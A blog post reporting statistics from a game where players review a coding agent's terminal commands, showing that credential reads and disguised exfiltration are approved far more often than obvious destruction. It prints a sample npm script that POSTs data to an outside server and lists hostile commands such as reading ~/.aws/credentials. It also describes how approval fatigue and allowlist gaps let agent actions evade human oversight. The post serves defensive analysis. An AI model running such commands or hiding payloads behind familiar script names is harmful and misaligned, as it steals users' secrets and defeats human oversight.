Devlery
Blog/AI

Reviewers Missed 1 in 3 Threats Across 409,000 Agent Approvals

Stats published August 5 from 409,363 approve-or-deny decisions put threat-detection accuracy at 66.3%. The single most-approved threat was npm run analyze at 64.7%, and Anthropic telemetry shows a 93% real-world approval rate.

Reviewers Missed 1 in 3 Threats Across 409,000 Agent Approvals
AI 요약
  • Across 40,000 plays of an agent-approval game, one threat in three got approved.
  • The most-missed command was npm run analyze at 64.7%, not rm -rf /.
  • Anthropic's own telemetry puts real approval rates at 93%. OS sandboxing is the alternative.

Every coding agent stops before it runs a terminal command and asks whether you want to allow it. That approval prompt is the human-in-the-loop safeguard the whole permission model rests on. Someone measured what it actually catches, 400,000 times over.

Alex Wauters, a former Uber staff engineer, shipped a browser game in May. You play the reviewer sitting behind a coding agent, approving or denying commands against a 60-second clock. Ordinary things like git status and npm test scroll past, mixed with commands such as cat ~/.aws/credentials that quietly walk off with your credentials. On August 5 he published the aggregate numbers: 40,000 plays, 409,363 individual approve-or-deny decisions.

Average accuracy was 66.3%. One threat in three was approved. 32.9% of sessions ended with a negative score, and 7% of players approved every prompt they saw. 35.2% caught every threat, but only 20.8% did so while blocking 20% or fewer of the legitimate commands. The rest reached a perfect threat score by denying almost everything.

Wauters states the limits up front. Roughly 34% of the commands shown were threats, far above any real workday, and players knew they were being tested. These numbers cannot be read as a false-positive rate for production use. What they support is a comparison between threat types: given a population that is paying attention, which attacks still get waved through.

Credential reads slipped past three times more often than destructive commands

Danger and detection did not line up.

Threat typeExampleMiss rate
Obvious destructionrm -rf /

11.7%

Persistence tamperingcrontab injection, git config hijack

23.8%

Exfiltration and code executioncurl to an unknown API, typosquatted package33.4%
Scope violation

reading .aws/credentials in the home directory

35.0%

Nine out of ten players stopped rm -rf /. The commands that actually walk credentials out the door got through three times as often. What a human filters at an approval prompt is not risk, it is the appearance of risk.

The single most-approved threat was npm run analyze, cleared by 64.7% of players and ranked first among the 37 threats in the game. npm run does nothing by itself. It executes whatever the matching script in package.json says, and in the game that script was defined like this:

{
  "scripts": {
    "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | curl -s -X POST https://api.bundle.track/report -d @-"
  }
}

The bundle analysis gets POSTed straight to an outside server. The game printed that definition in the history log directly above the approval prompt, unobscured, and two-thirds of players approved anyway. npm run setup followed at 48.0% (4th) and npm run deploy at 44.9% (8th). Together the three average 52.5% (n=9,482) against 28.4% for every other exfiltration-style attack. Wauters sums it up: hiding a payload behind a familiar script name roughly doubles its success rate even when the payload is displayed in the log.

The Hacker News commenter dns_snek, quoted in the article itself, pushed the point further. Per-command approval asks reviewers to inspect something that cannot be inspected. Approving npm run build approves arbitrary shell from package.json. And the agent does not need approval to edit package.json in the first place, or to plant code in build.js or somewhere under node_modules. A clean-looking string in the prompt guarantees nothing about the code it will run.

Anthropic's telemetry shows a 93% approval rate

Production numbers point the same way. In its May 25 engineering post How we contain Claude across products, Anthropic published its own telemetry: users approved roughly 93% of Claude Code permission prompts. The company's reading is that the more approval requests a user sees, the less attention each one gets, and oversight degrades substantially over time.

The game data shows the same fatigue. Grouped by session length, every cohort improves over the first few commands and then slides back as the clock runs down.

Miss rate by position within a session. All four cohorts, 5-9, 10-14, 15-19, and 20+ commands, show miss rates climbing again in the later half of the session

The mirror image of approval fatigue is over-blocking. These are the perfectly legitimate commands players denied most often.

59%

npm config set registry

pointing at an internal mirror

45%

rm -rf dist/

clearing build output
43%

kill $(lsof -t -i:3000)

reclaiming a port

Block half the legitimate commands and the agent gets slow, and a slow agent trains the user to read less before clicking. That is the gap Anthropic's auto mode targets: a classifier judges each command before a human ever sees it, cutting the number of prompts. Anthropic reports it catches about 83% of overreaching actions before execution. The footnote prices the tradeoff honestly. It blocks only about 0.4% of legitimate commands, but roughly 17% of risky actions still get through. We covered how that default split between individual and enterprise plans separately.

Handing the decision to the OS instead of the operator

The larger number in the same Anthropic post concerns sandboxing: after rolling out OS-level isolation, permission prompts dropped 84%. A classifier only reduces how often a human is asked. A sandbox has the operating system enforce what a command can touch, and it works regardless of how carefully anyone reads the prompt.

Here is the isolation the major coding agents ship today.

ItemClaude CodeCodex CLICursor
Default behaviorPrompts, with auto mode classifier as an option

on-request approval + workspace-write

Auto-review (allowlist + sandbox + classifier)
OS isolationSeatbelt (macOS), bubblewrap + socat (Linux)Seatbelt, Landlock, native WindowsYes
WindowsNo native support, WSL2 requiredSupportedSupported
Availability

All three are local OS features with no regional restriction and no extra cost

In Claude Code, /sandbox opens a panel inside the session. On the default settings, sandboxed commands can only write to the working directory and the session temp directory, and any new network domain triggers an approval request the first time it is used. To apply it to every project, set sandbox.enabled to true in ~/.claude/settings.json. macOS needs nothing installed; Linux and WSL2 need bubblewrap and socat. Native Windows is unsupported, so it has to run inside WSL2.

One default deserves attention. If the sandbox fails to start, Claude Code prints a warning and runs the command unisolated anyway. To treat it as an actual security boundary, set sandbox.failIfUnavailable to true.

Trusting an allowlist alone is its own risk. Cursor's documentation says outright that the allowlist is a best-effort measure rather than a security boundary. CVE-2026-22708 bore that out: even with an empty allowlist, shell builtins such as export, typeset, and declare could be used to reach remote code execution. Cursor deprecated the denylist feature in 1.3.

If you use a coding agent daily, two changes are available right now. Open /sandbox, switch it to auto-allow, and list only the paths you genuinely need under sandbox.filesystem.allowWrite. Then move the API keys you have been export-ing from .zshrc or .bashrc into a separate file and source it. The most divisive command in the whole game was cat ~/.zshrc, approved by 45.9%, and for anyone who keeps no secrets in a shell profile it genuinely is harmless. Whether that command is safe is settled by the contents of the file, not by the sharpness of whoever is clicking approve. Sharpness fades late in a session. An emptied file reads empty whenever it is read.